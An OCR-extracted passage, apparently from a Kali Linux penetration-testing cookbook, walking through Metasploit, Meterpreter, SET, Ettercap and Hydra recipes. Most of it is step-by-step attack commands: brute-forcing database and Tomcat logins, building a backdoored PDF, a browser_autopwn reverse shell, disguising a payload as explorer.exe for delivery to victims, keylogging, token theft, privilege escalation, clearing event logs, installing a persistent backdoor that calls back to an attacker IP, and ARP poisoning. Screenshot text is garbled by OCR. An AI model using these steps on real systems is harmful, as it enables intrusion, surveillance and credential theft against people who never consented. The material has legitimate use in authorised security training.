:/usr/bing JJ
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3. For our demonstration, we will perform a Christmas Tree Scan. We will choose option
A to display the modules advanced options:

msfcli auxiliary/scanner/portscan/xmas A
For more information on the Christmas Tree Scan, please review the

following URL:
s

http://en.wikipedia.org/wiki/Christmas tree packet

status mes:

:/usr/bin# ]
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4.

p

Additionally you can list a summary of the current module by using the S mode.

The summary mode is a great way to see all of the options available to you for the
exploit that you are trying to run. Many of the options are optional but, usually, a few
are required which allows you to set the target or the port you are trying to launch the
exploit against.

msfcli auxiliary/scanner/portscan/xmas S

k License (BSD)

hn <katterjohn@gmail .com=

Current Setting

BATCHSIZE
INTERFACE

o

THREADS
TIMEOUT

te TCP serv using a raw "XMas" scan; this
ntaining the FIN, F

:/usr/bin#

To show a list of options available for this exploit, we use the 0 mode. Options are

a way to configure the exploit module. Each exploit module has a different set of
options (or none at all). All required options must be set before the exploit is allowed
to execute. From the following screenshot, you will notice that many of the required
options are set by default. If this is the case, you do not have to update the options
value unless you want to change it.

msfcli auxiliary/scanner/portscan/xmas O
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[*] Pl

Name

SNAPLEN
THREADS
TIMEOUT

:/usr/bin# ]

6. To execute our exploit, we use the E mode:

msfcli auxiliary/scanner/portscan/xmas E

In the case of this exploit, we used the default options.

In this recipe, we began by launching the MSFCLI, searched for a module to use, then
proceeded to execute the module. During our searching phase, we chose the Christmas
Tree Scan module and reviewed the MSFCLI interface for viewing a summary of the module
and its available options. After all options were set, we ran the exploit.

It's important to know that the Metasploit framework is divided into three distinct parts.
Those parts are:

» Vulnerabilities: These are weaknesses, both known and unknown, that are contained
against a particular application, software package, or protocol. In Metasploit,
vulnerabilities are listed as groups with various exploits to attack the vulnerability
listed under them.

» Exploits: Exploits are modules that are set up to be able to take advantage of the
vulnerabilities found.

» Payloads: Once an exploit has successfully run, a payload must be delivered to the
attacked machine in order to allow us to create shells, run various commands, add
users, and so on.
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Once you have gained access to your host using the MSFCLI or MSCONSOLE you must
use Meterpreter in order to deliver your payloads. MSFCONSOLE manages your sessions,
but Meterpreter does your actual payload and exploit engagements. We will explore
Meterpreter in the next recipe.

» To learn more about Meterpreter, please see the Mastering Meterpreter section

Mastering Meterpreter

Once you have gained access to your host using either Armitage, MSFCLI, or MSFCONSOLE,
you must use Meterpreter in order to deliver your payloads. MSFCONSOLE is used to manage
your sessions, while Meterpreter does your actual payload and exploit engagements.

Some common commands used with Meterpreter include:

» help: This command will allow you to view the help file.

» background: This command allows you to keep a Meterpreter session running in the
background. The command will take you back to an MSF (Metasploit) prompt.

» download: This command allows you to download a file from your victims machine.
» upload: This command allows you to upload a file to your victim's machine.
» execute: This command allows you to run a command on your victim's machine.

» shell: This command allows you to run a Windows shell prompt on your victim's
machine (for Windows hosts only).

» session -1i:This command allows you to switch between sessions.

Getting ready

The following requirement needs to be fulfilled:

» A connection to the intranet or Internet

» An active session to a target system created by Metasploit using either Armitage,
MSFCLI, or MSFCONSOLE
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How to do it...

Let's begin by opening the MSFCONSOLE:

First we begin with an active session being displayed from the MSFCONSOLE.
Start logging keystrokes typed in by users of the exploited system:
keyscan start

3. Dump the keystrokes typed in by users of the exploited system. The keystrokes will
display onscreen:

keyscan dump

4. Stop logging keystrokes typed in by users of the exploited system:

keyscan stop

5. Delete a file on the exploited system:
del exploited.docx

6. Clear event logs on the exploited system:

clearav
7. Show a list of the running processes:
ps
8. Kill a given process on the exploited system using the syntax of kill [pid]:

kill 6353

9. Attempt to steal an impersonation token from our exploited system:

steal token

We began this recipe from an already established Meterpreter session by using either
Armitage, the MSFCONSOLE, or the MSFCLI. Later, we ran various commands on the
targeted machine.

When we use Meterpreter against a Linux-based host, we are able to run Linux commands
against our target just as we would if we were operating the machine.
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Metasploitable MySQL

In this recipe, we will explore how to use Metasploit to attack a MySQL database server
using the MySQL Scanner module. Being the database of choice for many website platforms,
including Drupal and Wordpress, many websites are currently using the MySQL database
server. This makes it an easy target for the Metasploitable MySQL attack!

Getting ready

The following requirement needs to be fulfilled:

» A connection to the internal network
» Metasploitable running in our hacking lab

» Wordlist to perform dictionary attack

How to do it...

Let's begin our MySQL attack by opening a terminal window:

1. Open aterminal window.
2. Launch the MSFCONSOLE:

msfconsole

3. Search for all the available MySQL modules:

search mysql
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4. Use the MySQL Scanner module:

use auxiliary/scanner/mysql/mysql login

5. Show the available options of the module:

show options

iliary(

tions (auxiliar

6. Set RHOST to the host of your Metasploitable 2 machine or target:
set RHOST 192.168.10.111

7. Set your username file location. This is a user file list of your choice:

set user file /root/Desktop/usernames.txt

8. Set your password file location. This is a password file list of your choice:

set pass_file /root/Desktop/passwords.txt
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9. Run the exploit:
Exploit

= set RHOSTS 192.168.106.111

ernames.txt

10. Metasploit goes out and tries to enter a combination of all usernames and passwords
contained in both files. Locate the + sign next to the login and password combination
that works.

In this recipe, we used Metasploit's MSFCONSOLE to exploit a MySQL vulnerability on our
target Metasploitable 2 host. We began by launching the console and searching for all known
MySQL vulnerabilities. After choosing the MySQL login exploit, which allows us to brute force
the MySQL login, we set our options and executed the exploit. Using the username and
password files supplied by the exploit, Metasploit tries to brute force the MySQL database.

There's more...

In this recipe, we used a custom generated username and password file. There are many ways
to generate the username wordlist and the password file and several methods are provided in
Chapter 8, Password Attacks.

Metasploitable PostgreSQL

In this recipe, we will explore how to use Metasploit to attack a PostgreSQL database server
using the PostgreSQL Scanner module. PostgreSQL is touted as being the world's most
advanced open source database and by many enthusiasts is said to be an enterprise

class database. We will use Metasploit in order to brute force a PostgreSQL login.
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Getting ready

The following requirement needs to be fulfilled:

» A connection to the internal network
» Metasploitable running in our hacking lab
» Wordlist to perform dictionary attack

How to do it...

Let's begin our PostgreSQL attack by opening a terminal window:

1. Open the command prompt.
2. Launch the MSFCONSOLE:

msfconsole

3. Search for all the available PostgreSQL modules:

search postgresql
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4. Use the PostgreSQL Scanner module:

use auxiliary/scanner/postgres/postgres_login

fault_pass.txt

Ll attempts

) = I

5. Show the available options of the module:

show options

6. Set RHOST to the host of your Metasploitable 2 machine or target:
set RHOST 192.168.10.111

7. Set your username file location. This is a user file list of your choice, however, the
user file location is provided as it's included by Metasploit:
set user file /usr/share/metasploit-framework/data/wordlists/
postgres default user.txt

8. Set your password file location. This is a password file list of your choice, however,
the password file location is provided as it's included by Metasploit:
set pass file /usr/share/metasploit-framework/data/wordlists/
postgres default user.txt

9. Run the exploit:

exploit
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In this recipe, we used Metasploit's MSFCONSOLE to exploit a PostgreSQL vulnerability on our
target Metasploitable 2 host. We began by launching the console and searching for all known
PostgreSQL vulnerabilities. After choosing the PostgreSQL login exploit, which allows us to
brute force the PostgreSQL login, we set our options and executed the exploit. Metasploit goes
out and tries to enter a combination of all usernames and passwords contained in both files.
Locate the + sign next to the login and password combination that works.

There's more...

In this recipe, we used a default PostgreSQL wordlist for the usernames and passwords.
Likewise, we could also have created our own. There are many ways to generate the
username wordlist and the password file and several methods are provided in Chapter 8,
Password Attacks.

Metasploitable Tomcat

In this recipe, we will explore how to use Metasploit to attack a Tomcat server using the
Tomcat Manager Login module. Tomcat, or Apache Tomcat, is an open source web server
and servlet container used to run Java Servlets and Java Server Pages (JSP). The Tomcat
server is written in pure Java. We will use Metasploit in order to brute force a Tomcat login.

Getting ready

The following requirement needs to be fulfilled:

» A connection to the internal network
» Metasploitable running in our hacking lab
» Wordlist to perform dictionary attack

How to do it...

Let's begin the recipe by opening a terminal window:

1. Open a command prompt.
2. Launch the MSFCONSOLE:

msfconsole
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3.

4.

10.

Search for all the available Tomcat modules:

search tomcat

n

cat_administration normal omcat inistration

at_utf8_traversal normal t UTF-8 Dir
traversal normal TrendMicro Data Loss
20 0 normal Apache Tomcat Transfe

2011-12-28 0 REE
normal

normal
lent Apache Tomcat Manager

normal W Gather

Use the Tomcat Application Manager Login Utility:

use auxiliary/scanner/http/tomcat mgr login

Show the available options of the module:

show options

Notice that we have a lot of items that are set to yes and are required.
s We will utilize their defaults.

Set Pass_File:

PASS FILE meset /usr/share/metasploit-framework/data/wordlists/
tomcat mgr default pass.txt

SetUser File

USER_FILE mset /usr/share/metasploit-framework/data/wordlists/

tomcat mgr default pass.txt

Set the target RHOST. In this case, we will select our Metasploitable 2 machine:

set RHOSTS 192.168.10.111

Set RPORT to 8180:
set RPORT 8180

Run the exploit:

exploit
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In this recipe, we used Metasploits MSFCONSOLE to exploit a Tomcat vulnerability on our
target Metasploitable 2 host. We began by launching the console and searching for all known
Tomcat vulnerabilities. After choosing the Tomcat login exploit, which allows us to brute force
the Tomcat login, we set our options and executed the exploit. Metasploit goes out and tries
to enter a combination of all usernames and passwords contained in both the files. Locate
the + sign next to the login and password combination that works.

Metasploitable PDF

In this recipe, we will explore how to use Metasploit to perform an attack using the Portable
Document Format (PDF) document exploited with the Adobe PDF Embedded module. An
Adobe PDF is a highly used standard for transmitting a document to another party. Due to its
widespread use, especially because of its business usage, we will attack a user's machine by
allowing them to think they are opening a legitimate PDF document from a job applicant.

Getting ready

The following requirement needs to be fulfilled:

» A connection to the internal network
» Metasploitable running in our hacking lab
» Wordlist to perform dictionary attack

How to do it...

Let's begin the process by opening a terminal window:

1. Open aterminal window.
2. Launch the MSFCONSOLE:

msfconsole
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3. Search for all the available PDF modules:

search pdf

2011-09

2011

4. Use the Adobe PDF Embedded EXE Social Engineering:
use exploit/windows/fileformat/adobe pdf embedded exe

5. Show the available options of the module:

show options

Name

FILENAME
no
INFILENAME

ease tick the "Do not show thi 2 again" and press
area

English
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6. Set the filename of the PDF we want to generate:
set FILENAME evildocument.pdf

7. Setthe INFILENAME option. This is the location of a PDF file that you have access
to use. In this case, | am using a resume located on my desktop:
set INFILENAME /root/Desktop/willie.pdf

Notice that all of the options for this module are set to optional with
s the exception of the INFILENAME option.

8. Run the exploit:
Exploit

In this recipe, we used Metasploit's MSFCONSOLE to exploit and create an Adobe PDF file
containing a Meterpreter backdoor. We began by launching the console and searching for all
known PDF vulnerabilities. After choosing the Embedded EXE PDF exploit, which allows us
to hide a backdoor program in a legitimate PDF, we set our options and executed the exploit.
Metasploit will generate a PDF accompanied by a Windows Reverse TCP Payload. When your
target opens the PDF file, Meterpreter will open acknowledging and activate the session.

Implementing browser_autopwn

Browser Autopwn is an auxiliary module provided by Metasploit that allows you to automate an
attack on a victim machine simply when they access a webpage. Browser Autopwn performs

a fingerprint of the client before it attacks; meaning that it will not try a Mozilla Firefox exploit
against an Internet Explorer 7 browser. Based upon its determination of browser, it decides
which exploit is the best to deploy.

Getting ready

A connection to the Internet or internal network is required to complete this recipe.
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How to do it...

Let's begin by opening a terminal window:

10.

11.

Open a terminal window.
Launch the MSFCONSOLE:

msfconsole

Search for the autopwn modules:

Search autopwn

Disclosure Date Rank

normal HTTP

Use the browser autopwn module:

Use auxiliary/server/browser autopwn

Set our payload. In this case we use Windows Reverse TCP:

set payload windows/meterpreter/reverse_ tcp

Show the options for this type of payload:

show options

Set the host IP address where the reverse connection will be made. In this case,
the IP address of the PCis 192.168.10.109:

set LHOST 192.168.10.109

Next, we want to set our URIPATH. In this case we use "filetypes" (with quotes):
set URIPATH "filetypes"

Finally, we start the exploit:

exploit

Metasploit starts the exploit at the IP address http:// [Provided IP
Address] :8080.

When a visitor visits the address, the browser_ autopwn module tries to connect
to the user's machine to set up a remote session. If successful, Meterpreter will
acknowledge the session. To activate the session, use the session command:

session -I 1
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12. To show a list of Meterpreter commands that we can run, type help:
help

13. Alist of available commands will display. In this case, we will start a keystroke scan:

keyscan start

14. To get the keystrokes that were taken from our victim, we issue the
keyscan dump command

keyscan dump

In this recipe, we used Metasploit's MSFCONSOLE to launch a browser autopwn exploit. We
began by launching the console and searching for all known autopwn modules. After choosing
the autopwn module, we set our payload to windows_reverse tcp; which allows us to get
a connection back to us if the exploit was successful. Once a victim visits our webpage, and an
exploit was successful, we will get an active Meterpreter session.







Escalating Privileges

In this chapter, we will cover:

» Using impersonation tokens

» Local privilege escalation attack

» Mastering the Social Engineering Toolkit (SET)
» Collecting the victim's data

» Cleaning up the tracks

» Creating a persistent backdoor

» Man In The Middle (MITM) attack

Introduction

Once we have gained access to the computer that we would like to attack, it's important

that we escalate our privileges as much as possible. Generally, we gain access to a user
account that has low privileges (the computer user); however, our target account may be the
administrator account. In this chapter we will explore various ways to escalate your privileges.

Using impersonation tokens

In this recipe, we will impersonate another user on a network by using impersonation tokens.
Tokens contain the security information for a login session and identifies the user, the user's
groups, and the user's privileges. When a user logs into a Windows system, they are given

an access token as a part of their authenticated session. Token impersonation allows us to
escalate our privileges by impersonating that user. A system account, for example, may need
to run as a domain administrator to handle a specific task and it generally relinquishes its
elevated authority when done. We will utilize this weakness to elevate our access rights.
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Getting ready

To execute this recipe we will need the following:

» A connection to the Internet or intranet

» Avictim target machine is also required

How to do it...

We begin our exploration of impersonation tokens from a Meterpreter shell. You will have to
use Metasploit to attack a host in order to gain a Meterpreter shell. You can use one of the
recipes in Chapter 6, Exploiting Vulnerabilities, to gain access to a host using Metasploit.

The steps are as follows:

1. From Meterpreter we can begin the impersonation process by using incognito:

use incognito

2. Display the help file for incognito by issuing the help command:
help

3. You will notice that we have several options available:

Command

up with all
oup with all t

4. Next we want to get a list of available users who are currently logged into the
system or have had access to the system recently. We do this by executing the
list tokens command with the —u option:

list tokens -u
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available

5. Next, we run the impersonation attack. The syntax to use is impersonate_ token
[name of the account to impersonate]:

impersonate token \\willie-pc\willie

6. Finally, we run a shell command. If we are successful, we are now using the current
system as another user.

In this recipe, we began with a compromised host and then used Meterpreter to impersonate
the token of another user on the machine. The goal of the impersonation attack is to choose
the highest level of user possible, preferably someone who is also connected across a
domain, and use their account to dive further into the network.

Local privilege escalation attack

In this recipe, we will escalate privileges on a compromised machine. Local privilege
escalation allows us to gain access to system or domain user accounts, utilizing the
current system to which we are attached.

Getting ready

To execute this recipe we will need the following:

» A connection to the Internet or intranet

» A compromised machine using the Metasploit framework is also required
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How to do it...

Let's begin the process of performing a local privilege escalation attack from a Meterpreter
shell. You will have to use Metasploit to attack a host in order to gain a Meterpreter shell.
You can use one of the recipes in Chapter 6, Exploiting Vulnerabilities, to gain access to

a host using Metasploit.

1. Once you have gained access to your victim using a Metasploit exploit
with a Meterpreter payload, await for your Meterpreter prompt to display:

2. Next, to view the help file for the getsystem command, we run the -h option:
getsystem -h

3. Finally, we run getsystem without any attributes:
getsystem

If you are trying to gain access to a Windows 7 machine, you must run the
bypassuac command before you can run the get system command.
BypassUAC allows you to bypass the Microsoft User Account Control
L (http://windows.microsoft.com/en-us/windows7/products/
features/user-account-control). The command is run as follows:

run post/windows/escalate/bypassuac

4. Next, we execute the final command to gain access.
5. That's it! We have successfully performed an escalation attack!

In this recipe, we used Meterpreter to perform a local privilege escalation attack on our victim
machine. We began the recipe from a Meterpreter shell. We then ran the getsystem command
that allows Meterpreter to try and elevate our credentials on the system. If successful, we will
have system level access on our victim's machine.
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Mastering the Social Engineering Toolkit

(SET)

In this recipe, we will explore the Social Engineering Toolkit (SET). SET is a framework that
includes tools that allow you to attack a victim by using deception. SET was designed by David
Kennedy. The tool has quickly become a standard in the arsenal of the penetration tester.

How to do it...

The steps for mastering the SET are as follows:

1. Open a terminal window by pressing the terminal icon and visit the directory
containing SET:

se-toolkit
2. Once accepted, you will be presented with the SET menu. The SET menu has the
following options:
o Social-Engineering Attacks
o Fast-Track Penetration Testing
o Third Party Modules
o Update the Metasploit Framework
o Update the Social-Engineer Toolkit
o Update SET configuration
o Help, Credits, and About
o Exit the Social-Engineer Toolkit

Before running an attack, it's a good idea to update SET as updates come
L frequently from the author.
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The options can be seen in the following screenshot:

.net in channel

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.com

t from the menu:

3. For our purposes, we will choose the first option to launch a social engineering attack:
1

4. We are now presented with a list of social engineering attacks as shown in the
following screenshot. For our purposes, we will use the Create a Payload and
Listener (option 4):

4
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.net in channel

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.com

from the menu:

5. Next, we are asked to enter the IP address for the payload to reverse connect.
In this case, we type in our IP address:

192.168.10.109

> Enter the IP address for the payload (reverse) :|j
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6. You will be presented with a listing of payloads to generate for the Payload and
Listener option as well as their descriptions. Choose Windows Reverse_TCP
Meterpreter. This will allow us to connect to our target and execute Meterpreter
payloads against it:

2

What payloa you want to generate:

an IP ad

7. Finally, you will be asked for a port to designate as the listener port. Port 443 is
already chosen for you and we will choose this option.

443

8. Once the payload has been completed, you will be asked to start the listener.
Enter Yes:
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9. You will notice that Metasploit opens a handler:

verse_tcp

gram_junk/meta_co )= set LPORT 443

gram_junk/meta_co gl= set Ex sion false

In this recipe, we explored the use of SET. SET has a menu style interface that makes it
extremely simple to generate tools we can use to deceive our victims. We began by initiating
SET. After doing so, SET provides us with several choices of exploits that we can run. Once
we chose our attack, SET begins interacting with Metasploit while asking the user a series of
questions. At the conclusion of our recipe, we created an executable that will provide us with
an active Meterpreter session to the targeted host.

Alternatively, you can launch SET from the desktop go to Applications | Kali Linux |
Exploitation Tools | Social Engineering Tools | Social Engineering Toolkit | Set.

Delivering your payload to the victim
The steps for delivering your payload to the victim are as follows:
1. Inthe SET directory, you will notice there is an EXE titled msf . exe. It is recommended
to change the name of the file to something else to avoid detection. In this case, we will

change it to explorer.exe. To begin the process, we open a terminal window and
navigate to the directory where SET is located:

cd /usr/share/set

2. We then get a listing of all items in the directory:
1s
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3. Next we want to rename our file to explorer. exe:

mv msf.exe explorer.exe

config F. | txt set sel-proxy setup.py src
modules readme reports set-automate set-update set-web
e v msf orer

: et# 1s
config README .txt set set-proxy setup.py src
. readme reports set-automate set-update set-web
r/share/set# |

4. Now we will ZIP our explorer . exe payload. In this case, the ZIP archive is called
healthyfiles:

zip healthyfiles explorer.exe
5. Now that you have the ZIP archive, you can distribute the file to your victim in various
ways. You can ZIP the file (it should bypass most e-mail systems), you can place the

file on a USB key and manually open on the victim's machine, and so on. Explore the
mechanism that will give you the results you desire to reach your goals.

Collecting the victim's data

In this recipe, we will explore how to collect data from a victim by using Metasploit. There are
several ways to accomplish this task, but we will explore recording a user's keystrokes on
the compromised machine. Collecting a victim's data allows us to potentially gain additional
information that we can use for further exploits. For our example, we will collect keystrokes
entered by a user on a compromised host.

Getting ready

To execute this recipe we will need the following:

» A connection to the Internet or intranet
» A compromised machine using the Metasploit framework is also required

How to do it...

Let's begin the process of collecting data from a victim from a Meterpreter shell. You will have
to use Metasploit to attack a host in order to gain a Meterpreter shell. You can use one of the
recipes in Chapter 6, Exploiting Vulnerabilities, to gain access to a host using Metasploit.
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1. Once you have gained access to your victim using a Metasploit exploit with a
Meterpreter payload, await for your Meterpreter prompt to display:

2. Next, we execute the following command to begin the keylogger:

keyscan start

3. Finally, we issue the keyscan_dump command to output the user's keystrokes
to the screen:

keyscan dump

In this recipe, we collected data from a victim using Meterpreter.

There's more...

There are several different ways you can approach collecting data from a victim's machine.
In this recipe, we used Metasploit and a Meterpreter keyscan to record keystrokes, but we
could have easily used Wireshark or airodump-ng to collect the data.

The key here is to explore other tools so that you can find which tool you like best to
accomplish your goal.

Cleaning up the tracks

In this recipe we will use Metasploit to erase our tracks. Cleaning up after compromising a
host is an extremely important step because you don't want to go through all of the trouble
of gaining access only to get caught. Luckily for us, Metasploit has a way for us to clean up
our tracks very easily.
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Getting ready

To execute this recipe we will need the following:

>

>

A connection to the Internet or intranet
A compromised machine using the Metasploit framework is also required

How to do it...

The steps to be performed are as follows:

1.
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Let's begin the process of cleaning our tracks from a Meterpreter shell. You will have
to use Metasploit to attack a host in order to gain a Meterpreter shell. You can use one
of the recipes in Chapter 6, Exploiting Vulnerabilities, to gain access to a host using
Metasploit. Once you have gained access to your victim using a Metasploit exploit with
a Meterpreter payload, await for your Meterpreter prompt to display:

Next, we need to run the IRB in order to begin the log removal process. We open the
help file:

irb

s the meterpreter client

Next, we tell the IRB which log we would like to remove. Following are some
available choices.

o log = client.sys.eventlog.open('system')

O log = client.sys.eventlog.open('security')

o log = client.sys.eventlog.open('application')

O log = client.sys.eventlog.open('directory service')
o log = client.sys.eventlog.open('dns server')

O log = client.sys.eventlog.open('file replication

service')
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4. For our purposes, we will clear them all. You will have to type these in one at a time.
log = client.sys.eventlog.open('system')
log = client.sys.eventlog.open('security!')
log = client.sys.eventlog.open('application')
log = client.sys.eventlog.open('directory service')
log = client.sys.eventlog.open('dns server')

log = client.sys.eventlog.open('file replication service')

5. Now, we execute our command to erase the log files:

Log.clear

6. That's it! With just a few commands we have been able to cover our tracks!

In this recipe, we used Meterpreter to cover our tracks on a compromised host. We began
the recipe from a Meterpreter shell and started the IRB (a Ruby interpreter shell). Next, we
specified exactly which files we wanted to have removed and concluded the recipe by issuing
the Log.clear command to clear the logs. Remember, you want to perform this step last,
once we compromise a host; you don't want to perform another function after covering your
tracks only to add more log entries, and so on.

Creating a persistent backdoor

In this recipe, we will create a persistent backdoor using the Metasploit persistence. Once
you have succeeded in gaining access to a compromised machine, you will want to explore
ways to regain access to the machine without having to break into it again. If the user of
the compromised machine does something to disrupt the connection, such as reboot the
machine, the use of a backdoor will allow a connection to re-establish to your machine.
This is where creating a backdoor comes in handy because it allows you to maintain access
to a previously compromised machine.

Getting ready

To execute this recipe we will need the following:

» A connection to the Internet or intranet
» A compromised machine using the Metasploit framework is also required
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How to do it...

Let's begin the process of installing our persistent backdoor. You will have to use Metasploit to
attack a host in order to gain a Meterpreter shell. You can use one of the recipes in Chapter 6,
Exploiting Vulnerabilities, to gain access to a host using Metasploit.

1. Once you have gained access to your victim using a Metasploit exploit with a
Meterpreter payload, await for your Meterpreter prompt to display:

exploit(
Starting interaction wi

2. Next, we need to run persistence in order to set up our backdoor. We open the
help file:

run persistence -h

3. The persistence backdoor has many options, including:

o -A: This option automatically starts a matching multihandler to connect
to the agent.

o -S: This option allows the backdoor to automatically start as a system
service.

a -U: This option allows the backdoor to automatically start when the user
boots the system.

o -i: This option sets the number of seconds between attempts back to
the attacker machine (in seconds).

o -p: This option sets the port to which Metasploit is listening on the
attacker machine.

o -P: This option sets the payload to use. Reverse_tcp is used by default
and is generally the one you want to use.

o -r: This option sets the IP address of the attacker machine.

4. Now, we execute our command to set up the backdoor:
run persistence -U -A -i 10 - 8090 -r 192.168.10.109
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5. The backdoor is now set! If successful, you will notice that you have a second
Meterpreter session!

©.109:4444 -> 192.168.

In this recipe, we used Meterpreter to set up a persistent backdoor. We began the recipe after
having compromised the host and obtaining a Meterpreter shell. We then explored some
of the available options to persistence by reviewing its help file. Finally, we completed the
installation of the backdoor by running the installation command and setting its options.

Man In The Middle (MITM) attack

In this recipe, we will use a Man In The Middle (MITM) attack against one of our targets.

A MITM attack works by allowing us to eavesdrop on the communication between our target
and their legitimate party. For our example, we could utilize Ettercap to eavesdrop on the
communication of a Windows host while checking their e-mail on http://www.yahoo.com.

Getting ready

To execute this recipe we will need the following:

» A wireless connection to the network
» A machine on the network connected to the wireless network
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How to do it...

Let's begin the Man In The Middle attack by launching Ettercap.

1. Open a terminal window and start Ettercap. Using the -G option launches the GUI
(Graphical User Interface):

ettercap -G

* ettercap 0.7.4.1
File Sniff Options Help

2. We begin the process by turning on unified sniffing. You can press Shift + U or use
the menu and go to Sniff | Unified sniffing..., as shown in the following screenshot:

* ettercap 0.7.4.1

Shift+U

shift+B

FI
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3. Select the network interface. In the case of using a MITM attack, we should select our
wireless interface:

¥ ettercap Input

@ Network interface : l@ﬂ | w |

OK Cancel
| I |

4. Next, we turn on the scan for hosts. This can be accomplished by pressing Ctrl + S or
use the menu and go to Hosts | Scan for hosts as shown in the following screenshot:

/ Mitm Filters Logging Plu
H

Scan for hosts ctri+s
from file... Ctrl+0

5. Next, we bring up the hosts lists. You can either press H or use the menu and go to
Hosts | Host List:

* ettercap 0.7.4.1
Start Targets | Hosts w Mitm Filters Logging

osts list
Host List ¥ e H

ctrl+s
Ctrd+0
ctrl+s
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6. Next, we need to select and set our targets. In our case, we will select 192.168.10.111
as our target 1 by highlighting its IP address and pressing the Add To Target 1 button:

* ettercap 0.7.4.1

s Hos / Mitm Filters Logging Plugins Help

Host List ¥

IP Address MAC Address Description 3

192.168.10.102 00:0D:93:7A:EA:C8
192.168.10.107 00:18:E7:07:BE:70
192.168.10.108 00:08:5D:29:28:FF
192.168.10.110 00:02:A5:B1:EB:0F
192.168.10.111 08:00:27:17:81:3C

192.168.10.112 08:00:27:19:BD:88
192.168.10.150 00:80:77:07:80:A3

Delete Host || Add to Target 1 || Add to Target 2

55 ports monitored
7587 mac vendor fingerprint ]
1766 tcp OS fingerprint
2183 known services
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
9 hosts added to the hosts list...

7. Now, we are able to allow Ettercap to begin sniffing. You can press either Ctrl + W
or use the menu and go to Start | Start Sniffing:

8. Finally, we begin the ARP poisoning process. From the menu, go to Mitm | Arp
poisoning....
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% ettercap 0.7.4.1
Start Tar g Mitm er: ng Plugins Help

9. Inthe window that appears, check the optional parameter for Sniff remote
connections.:

| x MITM Attack: ARP Poisoning

3 Optional parameters
@ # [Sniff remote connections.|

) Only poison one-way.

| 0K || Cancel |

10. Depending on the network traffic, we will begin to see the following information:

x ettercap 0.7.4.1
Mitm Filters Logging Plugins Help

7587 mac vendor fingerprint s
1766 tcp OS fingerprint

2183 known services

Randomizing 255 hosts for scanning...

Scanning the whole netmask for 255 hosts...

3 hosts added to the hosts list...

Starting Unified sniffing...

ARP poisoning victims:
GROUP 1 : ANY (all the hosts in the list)

GROUP 2 : ANY (all the hosts in the list)
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11. Once we have found what we are looking for (usernames and passwords). We will
turn off Ettercap. You can do this by either pressing Ctrl + E or by using the menu
and going to Start | Stop sniffing:

12. Now we need to turn off ARP Poisoning and return the network back to normal:

@ MITM attack(s) stopped

This recipe included a MITM attack that works by using ARP packet poisoning to eavesdrop
on wireless communications transmitted by a user.

You can learn more about Man In The Middle attacks by visiting
http://en.wikipedia.org/wiki/Man-in-the-middle
attack#Example of an attack.
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In this chapter, we will cover:

» Online password attacks

» Cracking HTTP passwords

» Gaining router access

» Password profiling

» Cracking a Windows password using John the Ripper

» Using dictionary attacks

» Using rainbow tables

» Using nVidia Compute Unified Device Architecture (CUDA)
» Using ATI Stream

» Physical access attacks

Introduction

In this chapter, we will explore various ways to crack passwords to gain access to user
accounts. Cracking passwords is a task that is used by all penetration testers. Inherently,
the most insecure part of any system is the passwords submitted by users. No matter the
password policy, humans inevitably hate entering strong passwords or resetting them as
often as they should. This makes them an easy target for hackers.
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Online password attacks

In this recipe we will use the THC-Hydra password cracker (Hydra). There are times in which
we will have the time to physically attack a Windows-based computer and obtain the Security
Account Manager (SAM) directly. However, there will also be times in which we are unable to
do so and this is where an online password attack proves most beneficial.

Hydra supports many protocols, including (but not limited to) FTP, HTTP, HTTPS, MySQL,
MSSQL, Oracle, Cisco, IMAP, VNC, and many more! Be careful though, as this type of attack
can be a bit noisy, which increases your chance of getting detected.

Getting ready

A connection to the Internet or intranet as well as a computer that we can use as our victim
is required to complete this recipe.

How to do it...

So let's begin the process of cracking an online password.

1. From the Start menu, select Applications | Kali Linux | Password Attacks | Online
Attacks | hydra-gtk.

“x xHydra

Quit

' \Target| Passwords Tuning Specific Start
| Target
O Single Target [127.0.01
O Target List | |
[ Prefer IPVE
Port lo =
Protocol |afp [ v]
| Output Options
[ Use SSL [ Be Verbose
[ Show Attempts [J Debug
hydra -1 yourname -p yourpass -t 16 127.0.0.1 afp A

192




Chapter 8

Now that we have Hydra started, we will need to set our word lists. Click on the
Passwords tab. We will use a username list and a password list. Enter the location
of your username and password list. Also select Loop around users and Try
empty password.

o Username List: /usr/share/wfuzz/wordlist/fuzzdb/wordlists-
user-passwd/names/nameslist.txt

o Password List: /usr/share/wfuzz/wordlist/fuzzdb/wordlists-
user-passwd/passwds/john. txt

A shortcut you can use is to single click inside the
s wordlist box to bring up a filesystem window.

Target | Passwords | Tuning Specific Start

Usemame
) Usemame |y0umame |
© Usemame List wd{nama,'namelist. ||
® Loop around users
Passwc-rt?‘
) Password |yourpa55 |
© Password List |355wdfpa55wd5fjohn.txt|

Colon separated file

[ Use Colon separated file | |

[ Try login as password & [Try empty password)|

hydra -V -L jpentestiweb/wfuzz/wordlist/fuzzdb/wordlists-user-passwdyf... 4
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3. Next, we will tune the attack. Under Performance Options, we set the number
of tasks from 16 to 2. The reason for this is that we do not want to have so many
processes running that we bring down the server. Although optional, we also want
to set the Exit after first found pair option.

& Target Passwords Tuning  Specific Start
j Performance Options

Number of Tasks B |

Timeout | 15 |;

® Exit after first found pair

Bl Use a HTTP/HTTPS Proxy
] © No Proxy ) HTTP Method ) CONNECT Method

Proxy http://127.0.0.1:8080

[ Proxy needs authentication

Usemame |}r0umame |

Password |yourpa55 |

‘ hydra -V -L /pentest/web/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/... 4

4. Finally, we will go after our target. Click on the Target tab and set our target and
protocol that we wish to attack. In our case, we are using the MySQL port of our

Metasploitable machine (192.168.10.111).
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: Tal'gE?t|Rasswords Tuning Specific Start

b| Target
: O Single Target [192.168.10.111 |
O Target List | |
[ Prefer IPV6
Port [ 4
Protocol |mysq| [+ |

 Output Options

[ Use SSL ) Be Verbose

® Show Attempts ] Debug

hydra -V -L /pentest/web/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/... 4

Finally, we execute the exploit by clicking on the Start tab and pressing the
Start button.

Target Passwords Tuning Speciﬁc‘ Start|

Output
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purpos

Hydra (http://www.thc.orgfthc-hydra) starting at 2012-08-29 07:27:17
[DATA] 2 tasks, 1 server, 5926956 login tries (1:1907/p:3108), ~2963478 trie
[DATA] attacking service mysgl on port 3306

[ATTEMPT] target 192.168.10.111 - login "0" - pass "" - 1 of 5926956 [child
